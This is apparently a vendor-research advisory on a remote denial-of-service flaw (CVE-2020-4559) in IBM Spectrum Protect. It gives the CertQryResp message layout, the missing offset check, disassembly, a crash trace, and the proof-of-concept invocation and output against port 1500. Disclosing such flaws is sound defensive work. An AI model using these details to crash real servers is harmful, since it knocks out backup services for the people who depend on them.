IBM Spectrum Protect CertQryResp Unauthenticated Remote DoS

Tenable research discovered a DoS vulnerability in IBM Spectrum Protect (ISP) 8.1.9.300. The flaw exists in the adsmdll.dll and dstadll.dll files due to improper validation of user-supplied data when processing a CertQryResp verb message sent to default TCP port 1500.

An unauthenticated, remote attacker can exploit the issue, via a series of specially crafted messages, to terminate the dsmsvc and dstasvc (Storage Agent) processes.

The CertQryResp verb message has the following format:

//  be = big endian
// 
// Mandatory verb header
struct hdr
{
   be16 verbLen;  // 16-bit total len of the verb; 0 if verbType is 8
   int8 verbType; // 8-bit verb type 
                  // if verbType == 8, it's an extended verb and
                  // hdr_ex follows this header
   int8 magic;    // must be 0xCA 
};

// Optional extended verb header
// Used for verbTypes that are greater than 0x100
struct hdr_ex
{
   be32 verbType; // 32-bit verb type
   be32 verbLen;  // 32-bit total len of the verb
};

struct CertQryResp
{
   // Generic headers 
   hdr hdr;          // hdr.verbType = 8
   hdr_ex hdr2;      // hdr2.verbType = 0x00031900
   // verb-specific header starts
   int8 version;     
   be16 dataOffset;  // offset to the msg where the verb data starts
   be16 opRC;
   be16 certFormat;
   be16 certOffset;  // offset to the verb data where the certificate starts
   be16 certLength;
   // verb data starts
   byte cert[certLength];
};

All ISP verbs are validated in the SmIsValidVerbEx() function in adsmdll.dll/dstadll.dll. However, the function only checks to make sure CertQryResp.dataOffset falls within the message boundary (i.e., sizeof(CertQryResp)):

.text:000000018099AD2F      lea     rcx, [rdi+verbCertQryResp.dataOffset]
.text:000000018099AD33      call    GetTwo
.text:000000018099AD38      movzx   eax, ax
.text:000000018099AD3B      cmp     eax, r15d ; r15d = MsgSize
.text:000000018099AD3E      jbe     ok_1809A331

It does not check whether or not CertQryResp.dataOffset + CertQryResp.certOffset is within the message boundary. When the CertQryResp verb message is processed, the pointer to the certificate is calculated as: pCert = pCertQryResp + pCertQryResp->dataOffset + pCertQryResp->certOffset:

.text:0000000180AE8466      lea     rcx, [rsi+verbCertQryResp.certOffset]
.text:0000000180AE846A      call    GetTwo
.text:0000000180AE846F      lea     rcx, [rsi+verbCertQryResp.dataOffset]
.text:0000000180AE8473      movzx   ebx, ax
.text:0000000180AE8476      call    GetTwo
.text:0000000180AE847B      lea     rcx, [rsi+verbCertQryResp.certLength]
.text:0000000180AE847F      movzx   r15d, ax
.text:0000000180AE8483      add     r15, rbx ; dataOffset + certOffset
.text:0000000180AE8486      add     r15, rsi
.text:0000000180AE8489      call    GetTwo
.text:0000000180AE848E      movzx   r14d, ax

This can cause an Out-of-bounds read on the certificate if CertQryResp.certOffset contains a value (i.e., 0xffff) that is greater than the message size. The Out-of-bounds read can cause an access violation (i.e., pCert lands in an inaccessible page), resulting in process termination:

(d6c.74c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSVCR120!MoveSmall+0x1aa:
00007fff`4877c64a 4c8b540af8      mov     r10,qword ptr [rdx+rcx-8] ds:000001d3`2f477fff=????????????????
0:414> k
 # Child-SP          RetAddr           Call Site
00 00000028`b01fe198 00007fff`42755475 MSVCR120!MoveSmall+0x1aa [f:\dd\vctools\crt\crtw32\string\amd64\memcpy.asm @ 362] 
01 00000028`b01fe1a0 00007fff`427d3324 gsk8cms_64!GSKASNUtility::asncpy+0x2a5
02 00000028`b01fe1d0 00007fff`40f9e642 gsk8cms_64!GSKString::GSKString+0x64
03 00000028`b01fe210 00007fff`40f766d4 gsk8km_64!GSKKM_strerror+0x254b2
04 00000028`b01fe720 00007fff`37d24ed7 gsk8km_64!GSKKM_OpenKeyDbData+0xa4
05 00000028`b01fe780 00007fff`37e984eb adsmdll!tlsValidateKeyDbPw+0xb7
06 00000028`b01fe850 00007fff`37e99286 adsmdll!HandleCertQryResp+0x1cb
07 00000028`b01fe8d0 00007fff`37e96b7a adsmdll!HandleNegotiate+0x756
08 00000028`b01fea30 00007fff`37d75c46 adsmdll!SmV2AuthProcess+0x28a
09 00000028`b01feab0 00007fff`380d00da adsmdll!smExecuteSession+0x3a6
0a 00000028`b01ff7f0 00007fff`373bc413 adsmdll!SessionThread+0x43a
0b 00000028`b01ff8b0 00007fff`48764f7f adsmdll!startThread+0x153
0c 00000028`b01ff900 00007fff`48765126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376] 
0d 00000028`b01ff930 00007fff`546b84d4 MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354] 
0e 00000028`b01ff960 00007fff`5711e871 KERNEL32!BaseThreadInitThunk+0x14
0f 00000028`b01ff990 00000000`00000000 ntdll!RtlUserThreadStart+0x21

Proof of Concept

Attached is a PoC to terminate dsmsvc.exe. The PoC can be used as follows:

python3 ibm_spectrum_protect_CertQryResp_dos_CVE-2020-4559.py -t <target_host> -p 1500

...   
connection 00000300: certSize 00001500, certOffset 0000f000
connection 00000301: certSize 00001600, certOffset 00001000
connection 00000302: certSize 00001600, certOffset 00002000
connection 00000303: certSize 00001600, certOffset 00003000
connection 00000304: certSize 00001600, certOffset 00004000
connection 00000305: certSize 00001600, certOffset 00005000
Traceback (most recent call last):
  File "ibm_spectrum_protect_CertQryResp_dos.py", line 110, in <module>
    r = recv_verb(s)
  File "ibm_spectrum_protect_CertQryResp_dos.py", line 47, in recv_verb
    hdr1 = s.recv(4)
ConnectionResetError: [Errno 104] Connection reset by peer

Note that we tested the PoC on a Windows Server 2016 virtual machine with 2 CPUs and 16 GB of memory. The script may or may not terminate dsmsvc.exe depending on the memory page where pCert lands. To produce a reliable crash, full page heap can be enabled on dsmsvc.exe:

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64>gflags /p /enable dsmsvc.exe /full

This puts the CertQryResp verb message at the end of a page followed by a non-accessible guard page.